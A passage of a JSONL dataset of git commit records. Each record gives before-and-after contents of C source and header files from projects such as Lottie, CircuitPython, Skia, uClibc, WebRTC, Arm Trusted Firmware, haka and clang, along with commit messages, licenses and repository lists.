{"commit":"481aeecd9bf2e239c3fa911286bece5143246311","old_file":"lottie-ios\/Classes\/PublicHeaders\/Lottie.h","new_file":"lottie-ios\/Classes\/PublicHeaders\/Lottie.h","old_contents":"\/\/\n\/\/  Lottie.h\n\/\/  Pods\n\/\/\n\/\/  Created by brandon_withrow on 1\/27\/17.\n\/\/\n\/\/\n\n#if __has_feature(modules)\n@import Foundation;\n#else\n#import <Foundation\/Foundation.h>\n#endif\n\n#ifndef Lottie_h\n#define Lottie_h\n\n\/\/! Project version number for Lottie.\nFOUNDATION_EXPORT double LottieVersionNumber;\n\n\/\/! Project version string for Lottie.\nFOUNDATION_EXPORT const unsigned char LottieVersionString[];\n\n#import \"LOTAnimationTransitionController.h\"\n#import \"LOTAnimationView.h\"\n\n#endif \/* Lottie_h *\/\n","new_contents":"\/\/\n\/\/  Lottie.h\n\/\/  Pods\n\/\/\n\/\/  Created by brandon_withrow on 1\/27\/17.\n\/\/\n\/\/\n\n#if __has_feature(modules)\n@import Foundation;\n#else\n#import <Foundation\/Foundation.h>\n#endif\n\n#ifndef Lottie_h\n#define Lottie_h\n\n\/\/! Project version number for Lottie.\nFOUNDATION_EXPORT double LottieVersionNumber;\n\n\/\/! Project version string for Lottie.\nFOUNDATION_EXPORT const unsigned char LottieVersionString[];\n\n#include <TargetConditionals.h>\n\n#if TARGET_OS_IPHONE\n#import \"LOTAnimationTransitionController.h\"\n#endif\n\n#import \"LOTAnimationView.h\"\n\n#endif \/* Lottie_h *\/\n","subject":"Fix public header for macOS","message":"Fix public header for macOS\n","lang":"C","license":"apache-2.0","repos":"airbnb\/lottie-ios,airbnb\/lottie-ios,airbnb\/lottie-ios"}
{"commit":"e845dd43efb19a6af37ab2dbf1cbd119022ff885","old_file":"hard_way\/ex13.c","new_file":"hard_way\/ex13.c","old_contents":"#include <stdio.h>\n\nint main(int argc, char *argv[]){\n\n    if(argc != 2){\n        printf(\"You must supply one argument!\\n\");\n        \/\/this is how you abort a program.\n        return 1;\n    }\n\n    return 0;\n}","new_contents":"#include <stdio.h>\n\nint main(int argc, char *argv[]){\n\n    if(argc != 2){\n        printf(\"You must supply one argument!\\n\");\n        \/\/this is how you abort a program.\n        return 1;\n    }\n\n    int i = 0;\n\n    for(i = 0; argv[1][i] != '\\0'; i++){\n        char letter = argv[1][i];\n\n        switch(letter){\n            case 'a':\n            case 'A':\n                printf(\"%d: 'A'\\n\",i);\n                break;\n            case 'e':\n            case 'E':\n                printf(\"%d: 'E'\\n\",i);\n                break;\n            case 'i':\n            case 'I':\n                printf(\"%d: 'I'\\n\",i);\n                break;\n            case 'o':\n            case 'O':\n                printf(\"%d: 'O'\\n\",i);\n                break;\n            case 'u':\n            case 'U':\n                printf(\"%d: 'U'\\n\",i);\n                break;\n            default:\n                printf(\"%d:%c is not a vowel.\\n\",i,letter);\n        }\n    }\n\n    return 0;\n}","subject":"Switch on vowels in argument","message":"Switch on vowels in argument\n","lang":"C","license":"mit","repos":"thewazir\/learning_c"}
{"commit":"45f9522a638516520d39822f25c52d21c96b2923","old_file":"ports\/mimxrt10xx\/boards\/imxrt1060_evk\/mpconfigboard.h","new_file":"ports\/mimxrt10xx\/boards\/imxrt1060_evk\/mpconfigboard.h","old_contents":"#define MICROPY_HW_BOARD_NAME \"iMX RT 1060 EVK\"\n#define MICROPY_HW_MCU_NAME \"IMXRT1062DVJ6A\"\n\n\/\/ If you change this, then make sure to update the linker scripts as well to\n\/\/ make sure you don't overwrite code\n#define CIRCUITPY_INTERNAL_NVM_SIZE 0\n\n#define BOARD_FLASH_SIZE (8 * 1024 * 1024)\n\n#define MICROPY_HW_LED_STATUS (&pin_GPIO_AD_B0_09)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO_AD_B1_00)\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO_AD_B1_01)\n\n#define DEFAULT_UART_BUS_RX (&pin_GPIO_AD_B1_07)\n#define DEFAULT_UART_BUS_TX (&pin_GPIO_AD_B1_06)\n\n#define CIRCUITPY_DEBUG_UART_TX (&pin_GPIO_AD_B0_12)\n#define CIRCUITPY_DEBUG_UART_RX (&pin_GPIO_AD_B0_13)\n\n\n\/\/ Put host on the first USB so that right angle OTG adapters can fit. This is\n\/\/ the right port when looking at the board.\n#define CIRCUITPY_USB_DEVICE_INSTANCE 1\n#define CIRCUITPY_USB_HOST_INSTANCE 0\n","new_contents":"#define MICROPY_HW_BOARD_NAME \"iMX RT 1060 EVK\"\n#define MICROPY_HW_MCU_NAME \"IMXRT1062DVJ6A\"\n\n\/\/ If you change this, then make sure to update the linker scripts as well to\n\/\/ make sure you don't overwrite code\n#define CIRCUITPY_INTERNAL_NVM_SIZE 0\n\n#define BOARD_FLASH_SIZE (8 * 1024 * 1024)\n\n#define MICROPY_HW_LED_STATUS (&pin_GPIO_AD_B0_09)\n#define MICROPY_HW_LED_STATUS_INVERTED (1)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO_AD_B1_00)\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO_AD_B1_01)\n\n#define DEFAULT_UART_BUS_RX (&pin_GPIO_AD_B1_07)\n#define DEFAULT_UART_BUS_TX (&pin_GPIO_AD_B1_06)\n\n#define CIRCUITPY_DEBUG_UART_TX (&pin_GPIO_AD_B0_12)\n#define CIRCUITPY_DEBUG_UART_RX (&pin_GPIO_AD_B0_13)\n\n\n\/\/ Put host on the first USB so that right angle OTG adapters can fit. This is\n\/\/ the right port when looking at the board.\n#define CIRCUITPY_USB_DEVICE_INSTANCE 1\n#define CIRCUITPY_USB_HOST_INSTANCE 0\n","subject":"Fix EVK status led to be inverted","message":"Fix EVK status led to be inverted\n","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"4655534302e6a3601c77eae70cc65b202609ab66","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 78\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 79\n#endif\n","subject":"Update Skia milestone to 79","message":"Update Skia milestone to 79\n\nChange-Id: I248831c58b3c01d356942cd0de61447292720ccb\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/239446\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,google\/skia,google\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia"}
{"commit":"e3787b675f1a369697d97ba8e65bf6ba80ace51d","old_file":"include\/netpacket\/packet.h","new_file":"include\/netpacket\/packet.h","old_contents":"","new_contents":"\/* Definitions for use with Linux AF_PACKET sockets.\n   Copyright (C) 1998, 1999 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#ifndef __NETPACKET_PACKET_H\n#define __NETPACKET_PACKET_H\t1\n\nstruct sockaddr_ll\n  {\n    unsigned short int sll_family;\n    unsigned short int sll_protocol;\n    int sll_ifindex;\n    unsigned short int sll_hatype;\n    unsigned char sll_pkttype;\n    unsigned char sll_halen;\n    unsigned char sll_addr[8];\n  };\n\n\/* Packet types.  *\/\n\n#define PACKET_HOST\t\t0\t\t\/* To us.  *\/\n#define PACKET_BROADCAST\t1\t\t\/* To all.  *\/\n#define PACKET_MULTICAST\t2\t\t\/* To group.  *\/\n#define PACKET_OTHERHOST\t3\t\t\/* To someone else.  *\/\n#define PACKET_OUTGOING\t\t4\t\t\/* Originated by us . *\/\n#define PACKET_LOOPBACK\t\t5\n#define PACKET_FASTROUTE\t6\n\n\/* Packet socket options.  *\/\n\n#define PACKET_ADD_MEMBERSHIP\t\t1\n#define PACKET_DROP_MEMBERSHIP\t\t2\n#define\tPACKET_RECV_OUTPUT\t\t3\n#define\tPACKET_RX_RING\t\t\t5\n#define\tPACKET_STATISTICS\t\t6\n\nstruct packet_mreq\n  {\n    int mr_ifindex;\n    unsigned short int mr_type;\n    unsigned short int mr_alen;\n    unsigned char mr_address[8];\n  };\n\n#define PACKET_MR_MULTICAST\t0\n#define PACKET_MR_PROMISC\t1\n#define PACKET_MR_ALLMULTI\t2\n\n#endif\t\/* netpacket\/packet.h *\/\n","subject":"Make pump happy. Add in this header. -Erik","message":"Make pump happy.  Add in this header.\n -Erik\n","lang":"C","license":"lgpl-2.1","repos":"groundwater\/uClibc,skristiansson\/uClibc-or1k,hjl-tools\/uClibc,klee\/klee-uclibc,czankel\/xtensa-uclibc,ffainelli\/uClibc,ChickenRunjyd\/klee-uclibc,hjl-tools\/uClibc,groundwater\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,wbx-github\/uclibc-ng,mephi42\/uClibc,atgreen\/uClibc-moxie,waweber\/uclibc-clang,foss-for-synopsys-dwc-arc-processors\/uClibc,ndmsystems\/uClibc,kraj\/uClibc,foss-xtensa\/uClibc,gittup\/uClibc,czankel\/xtensa-uclibc,gittup\/uClibc,skristiansson\/uClibc-or1k,ChickenRunjyd\/klee-uclibc,kraj\/uclibc-ng,atgreen\/uClibc-moxie,kraj\/uclibc-ng,m-labs\/uclibc-lm32,groundwater\/uClibc,waweber\/uclibc-clang,ysat0\/uClibc,gittup\/uClibc,klee\/klee-uclibc,mephi42\/uClibc,ChickenRunjyd\/klee-uclibc,hjl-tools\/uClibc,ffainelli\/uClibc,brgl\/uclibc-ng,mephi42\/uClibc,majek\/uclibc-vx32,foss-xtensa\/uClibc,ddcc\/klee-uclibc-0.9.33.2,groundwater\/uClibc,ndmsystems\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ysat0\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ddcc\/klee-uclibc-0.9.33.2,hwoarang\/uClibc,czankel\/xtensa-uclibc,kraj\/uclibc-ng,ysat0\/uClibc,kraj\/uClibc,hwoarang\/uClibc,ndmsystems\/uClibc,m-labs\/uclibc-lm32,groundwater\/uClibc,kraj\/uClibc,ddcc\/klee-uclibc-0.9.33.2,kraj\/uclibc-ng,skristiansson\/uClibc-or1k,wbx-github\/uclibc-ng,ChickenRunjyd\/klee-uclibc,ddcc\/klee-uclibc-0.9.33.2,OpenInkpot-archive\/iplinux-uclibc,majek\/uclibc-vx32,majek\/uclibc-vx32,waweber\/uclibc-clang,ysat0\/uClibc,brgl\/uclibc-ng,m-labs\/uclibc-lm32,ffainelli\/uClibc,ndmsystems\/uClibc,OpenInkpot-archive\/iplinux-uclibc,mephi42\/uClibc,atgreen\/uClibc-moxie,hwoarang\/uClibc,hjl-tools\/uClibc,kraj\/uClibc,wbx-github\/uclibc-ng,atgreen\/uClibc-moxie,brgl\/uclibc-ng,foss-xtensa\/uClibc,klee\/klee-uclibc,waweber\/uclibc-clang,OpenInkpot-archive\/iplinux-uclibc,hwoarang\/uClibc,gittup\/uClibc,OpenInkpot-archive\/iplinux-uclibc,foss-xtensa\/uClibc,majek\/uclibc-vx32,czankel\/xtensa-uclibc,hjl-tools\/uClibc,klee\/klee-uclibc,brgl\/uclibc-ng,ffainelli\/uClibc,wbx-github\/uclibc-ng,m-labs\/uclibc-lm32,ffainelli\/uClibc,skristiansson\/uClibc-or1k"}
{"commit":"00f7b82571bef17086f65cd6c2f827c565eff40e","old_file":"experiments.h","new_file":"experiments.h","old_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct SkipEncodingUnusedStreams {\n  SkipEncodingUnusedStreams() : enabled(false) {}\n  explicit SkipEncodingUnusedStreams(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~SkipEncodingUnusedStreams() {}\n\n  const bool enabled;\n};\n\nstruct AimdRemoteRateControl {\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","new_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct AimdRemoteRateControl {\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","subject":"Remove no longer used SkipEncodingUnusedStreams.","message":"Remove no longer used SkipEncodingUnusedStreams.\n\nR=andrew@webrtc.org\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/18829004\n\ngit-svn-id: 03ae4fbe531b1eefc9d815f31e49022782c42458@6753 4adac7df-926f-26a2-2b94-8c16560cd09d\n","lang":"C","license":"bsd-3-clause","repos":"Alkalyne\/webrtctrunk,xin3liang\/platform_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,bpsinc-native\/src_third_party_webrtc,svn2github\/webrtc-Revision-8758,jgcaaprom\/android_external_chromium_org_third_party_webrtc,xin3liang\/platform_external_chromium_org_third_party_webrtc,PersonifyInc\/chromium_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,bpsinc-native\/src_third_party_webrtc,jchavanton\/webrtc,sippet\/webrtc,aleonliao\/webrtc-trunk,Alkalyne\/webrtctrunk,android-ia\/platform_external_chromium_org_third_party_webrtc,bpsinc-native\/src_third_party_webrtc,jchavanton\/webrtc,bpsinc-native\/src_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,krieger-od\/webrtc,bpsinc-native\/src_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,krieger-od\/nwjs_chromium_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,aleonliao\/webrtc-trunk,sippet\/webrtc,aleonliao\/webrtc-trunk,krieger-od\/nwjs_chromium_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,Alkalyne\/webrtctrunk,PersonifyInc\/chromium_webrtc,Alkalyne\/webrtctrunk,MIPS\/external-chromium_org-third_party-webrtc,MIPS\/external-chromium_org-third_party-webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,bpsinc-native\/src_third_party_webrtc,aleonliao\/webrtc-trunk,sippet\/webrtc,MIPS\/external-chromium_org-third_party-webrtc,MIPS\/external-chromium_org-third_party-webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,sippet\/webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,jchavanton\/webrtc,aleonliao\/webrtc-trunk,android-ia\/platform_external_chromium_org_third_party_webrtc,xin3liang\/platform_external_chromium_org_third_party_webrtc,Alkalyne\/webrtctrunk,android-ia\/platform_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,xin3liang\/platform_external_chromium_org_third_party_webrtc,krieger-od\/nwjs_chromium_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,jchavanton\/webrtc,krieger-od\/webrtc,svn2github\/webrtc-Revision-8758,bpsinc-native\/src_third_party_webrtc,svn2github\/webrtc-Revision-8758,xin3liang\/platform_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,Alkalyne\/webrtctrunk,krieger-od\/webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,PersonifyInc\/chromium_webrtc,xin3liang\/platform_external_chromium_org_third_party_webrtc,krieger-od\/nwjs_chromium_webrtc,MIPS\/external-chromium_org-third_party-webrtc,svn2github\/webrtc-Revision-8758,krieger-od\/webrtc,krieger-od\/webrtc,svn2github\/webrtc-Revision-8758,Omegaphora\/external_chromium_org_third_party_webrtc,Alkalyne\/webrtctrunk,MIPS\/external-chromium_org-third_party-webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,xin3liang\/platform_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,Alkalyne\/webrtctrunk,krieger-od\/nwjs_chromium_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,jchavanton\/webrtc,jchavanton\/webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,PersonifyInc\/chromium_webrtc,krieger-od\/nwjs_chromium_webrtc,aleonliao\/webrtc-trunk,sippet\/webrtc,sippet\/webrtc,PersonifyInc\/chromium_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,svn2github\/webrtc-Revision-8758,PersonifyInc\/chromium_webrtc,krieger-od\/webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,jchavanton\/webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,bpsinc-native\/src_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc"}
{"commit":"47102b35d644a8c5a1343f9ec05c29b5d1e0e1b0","old_file":"plat\/arm\/common\/aarch64\/arm_pauth.c","new_file":"plat\/arm\/common\/aarch64\/arm_pauth.c","old_contents":"\/*\n * Copyright (c) 2019, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <cdefs.h>\n#include <stdint.h>\n\n\/*\n * Instruction pointer authentication key A. The low 64-bit are at [0], and the\n * high bits at [1]. They are run-time constants so they are placed in the\n * rodata section. They are written before MMU is turned on and the permissions\n * are effective.\n *\/\nuint64_t plat_apiakey[2] __section(\"rodata.apiakey\");\n\n\/*\n * This is only a toy implementation to generate a seemingly random 128-bit key\n * from sp and x30 values. A production system must re-implement this function\n * to generate keys from a reliable randomness source.\n *\/\nuint64_t *plat_init_apiakey(void)\n{\n\tuintptr_t return_addr = (uintptr_t)__builtin_return_address(0U);\n\tuintptr_t frame_addr = (uintptr_t)__builtin_frame_address(0U);\n\n\tplat_apiakey[0] = (return_addr << 13) ^ frame_addr;\n\tplat_apiakey[1] = (frame_addr << 15) ^ return_addr;\n\n\treturn plat_apiakey;\n}\n","new_contents":"\/*\n * Copyright (c) 2019, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <cdefs.h>\n#include <stdint.h>\n\n\/*\n * Instruction pointer authentication key A. The low 64-bit are at [0], and the\n * high bits at [1].\n *\/\nuint64_t plat_apiakey[2];\n\n\/*\n * This is only a toy implementation to generate a seemingly random 128-bit key\n * from sp and x30 values. A production system must re-implement this function\n * to generate keys from a reliable randomness source.\n *\/\nuint64_t *plat_init_apiakey(void)\n{\n\tuintptr_t return_addr = (uintptr_t)__builtin_return_address(0U);\n\tuintptr_t frame_addr = (uintptr_t)__builtin_frame_address(0U);\n\n\tplat_apiakey[0] = (return_addr << 13) ^ frame_addr;\n\tplat_apiakey[1] = (frame_addr << 15) ^ return_addr;\n\n\treturn plat_apiakey;\n}\n","subject":"Put Pointer Authentication key value in BSS section","message":"Put Pointer Authentication key value in BSS section\n\nThe dummy implementation of the plat_init_apiakey() platform API uses\nan internal 128-bit buffer to store the initial key value used for\nPointer Authentication support.\n\nThe intent - as stated in the file comments - was for this buffer to\nbe write-protected by the MMU. Initialization of the buffer would be\nperformed before enabling the MMU, thus bypassing write protection\nchecks.\n\nHowever, the key buffer ended up into its own read-write section by\nmistake due to a typo on the section name ('rodata.apiakey' instead of\n'.rodata.apiakey', note the leading dot). As a result, the linker\nscript was not pulling it into the .rodata output section.\n\nOne way to address this issue could have been to fix the section\nname. However, this approach does not work well for BL1. Being the\nfirst image in the boot flow, it typically is sitting in real ROM\nso we don't have the capacity to update the key buffer at any time.\n\nThe dummy implementation of plat_init_apiakey() provided at the moment\nis just there to demonstrate the Pointer Authentication feature in\naction. Proper key management and key generation would have to be a\nlot more careful on a production system.\n\nTherefore, the approach chosen here to leave the key buffer in\nwritable memory but move it to the BSS section. This does mean that\nthe key buffer could be maliciously updated for intalling unintended\nkeys on the warm boot path but at the feature is only at an\nexperimental stage right now, this is deemed acceptable.\n\nChange-Id: I121ccf35fe7bc86c73275a4586b32d4bc14698d6\nSigned-off-by: Sandrine Bailleux <4b69fcfca8da45b0c11ecda5434c5da526575d9d@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
{"commit":"e989038c00cc0ef3885ed1cdcddbbbb0d87362a0","old_file":"lib\/haka\/stat.c","new_file":"lib\/haka\/stat.c","old_contents":"\n#include <stdio.h>\n#include <stdarg.h>\n\n#include <haka\/stat.h>\n#include <haka\/types.h>\n\nbool stat_printf(FILE *out, const char *format, ...)\n{\n\tva_list args;\n\tva_start(args, format);\n\tvfprintf(out, format, args);\n\tva_end(args);\n\treturn true;\n}\n\nsize_t format_bytes(size_t v, char *c)\n{\n\tif (v > (1 << 30)) {\n\t\t*c = 'g';\n\t\treturn (v \/ (1 << 30));\n\t}\n\telse if (v > (1 << 20)) {\n\t\t*c = 'm';\n\t\treturn (v \/ (1 << 20));\n\t}\n\telse if (v > (1 << 10)) {\n\t\t*c = 'k';\n\t\treturn (v \/ (1 << 10));\n\t}\n\telse {\n\t\t*c = ' ';\n\t\treturn v;\n\t}\n}\n","new_contents":"\n#include <stdio.h>\n#include <stdarg.h>\n\n#include <haka\/stat.h>\n#include <haka\/types.h>\n\nbool stat_printf(FILE *out, const char *format, ...)\n{\n\tva_list args;\n\tva_start(args, format);\n\tvfprintf(out, format, args);\n\tva_end(args);\n\treturn true;\n}\n\nsize_t format_bytes(size_t v, char *c)\n{\n\tif (v > (1 << 30)) {\n\t\t*c = 'G';\n\t\treturn (v \/ (1 << 30));\n\t}\n\telse if (v > (1 << 20)) {\n\t\t*c = 'M';\n\t\treturn (v \/ (1 << 20));\n\t}\n\telse if (v > (1 << 10)) {\n\t\t*c = 'k';\n\t\treturn (v \/ (1 << 10));\n\t}\n\telse {\n\t\t*c = ' ';\n\t\treturn v;\n\t}\n}\n","subject":"Use standard notations for mega (M) and giga (G)","message":"Use standard notations for mega (M) and giga (G)\n","lang":"C","license":"mpl-2.0","repos":"LubyRuffy\/haka,nabilbendafi\/haka,Wingless-Archangel\/haka,haka-security\/haka,nabilbendafi\/haka,haka-security\/haka,Wingless-Archangel\/haka,lcheylus\/haka,LubyRuffy\/haka,haka-security\/haka,lcheylus\/haka,nabilbendafi\/haka,lcheylus\/haka"}
{"commit":"5ac905c512d06fdbd443374f5f9fafef10bef0e1","old_file":"test\/CodeGen\/debug-info-abspath.c","new_file":"test\/CodeGen\/debug-info-abspath.c","old_contents":"\/\/ RUN: %clang_cc1 -debug-info-kind=limited -triple %itanium_abi_triple \\\n\/\/ RUN:   %s -emit-llvm -o - | FileCheck %s\n\n\/\/ RUN: cp %s %t.c\n\/\/ RUN: %clang_cc1 -debug-info-kind=limited -triple %itanium_abi_triple \\\n\/\/ RUN:   %t.c -emit-llvm -o - | FileCheck %s --check-prefix=INTREE\nvoid foo() {}\n\n\/\/ Since %s is an absolute path, directory should be a nonempty\n\/\/ prefix, but the CodeGen part should be part of the filename.\n\n\/\/ CHECK: DIFile(filename: \"{{.*}}CodeGen{{.*}}debug-info-abspath.c\"\n\/\/ CHECK-SAME:   directory: \"{{.+}}\")\n\n\/\/ INTREE: DIFile({{.*}}directory: \"{{.+}}CodeGen{{.*}}\")\n","new_contents":"\/\/ RUN: mkdir -p %t\/UNIQUEISH_SENTINEL\n\/\/ RUN: cp %s %t\/UNIQUEISH_SENTINEL\/debug-info-abspath.c\n\n\/\/ RUN: %clang_cc1 -debug-info-kind=limited -triple %itanium_abi_triple \\\n\/\/ RUN:   %t\/UNIQUEISH_SENTINEL\/debug-info-abspath.c -emit-llvm -o - \\\n\/\/ RUN:   | FileCheck %s\n\n\/\/ RUN: cp %s %t.c\n\/\/ RUN: %clang_cc1 -debug-info-kind=limited -triple %itanium_abi_triple \\\n\/\/ RUN:   %t.c -emit-llvm -o - | FileCheck %s --check-prefix=INTREE\nvoid foo() {}\n\n\/\/ Since %s is an absolute path, directory should be the common\n\/\/ prefix, but the directory part should be part of the filename.\n\n\/\/ CHECK: DIFile(filename: \"{{.*}}UNIQUEISH_SENTINEL{{.*}}debug-info-abspath.c\"\n\/\/ CHECK-NOT:    directory: \"{{.*}}UNIQUEISH_SENTINEL\n\n\/\/ INTREE: DIFile({{.*}}directory: \"{{.+}}CodeGen{{.*}}\")\n","subject":"Make testcase more robust for completely-out-of-tree builds.","message":"Make testcase more robust for completely-out-of-tree builds.\n\nThats to Dave Zarzycki for reprorting this!\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@348612 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"71fff3ac1cd1349b8cba13114ac6025d8e6eca73","old_file":"tests\/libfixmath_unittests\/main.c","new_file":"tests\/libfixmath_unittests\/main.c","old_contents":"\/*\n * Copyright (C) 2014  René Kijewski  <rene.kijewski@fu-berlin.de>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n\/**\n * @ingroup   tests\n * @{\n *\n * @file\n * @brief     execute libfixmath's unittests in RIOT\n *\n * @author    René Kijewski <rene.kijewski@fu-berlin.de>\n *\n * @}\n *\/\n\nint main(void)\n{\n#include \"fix16_unittests.inc\"\n\n    return 0;\n}\n","new_contents":"\/*\n * Copyright (C) 2014  René Kijewski  <rene.kijewski@fu-berlin.de>\n *\n * This library is free software; you can redistribute it 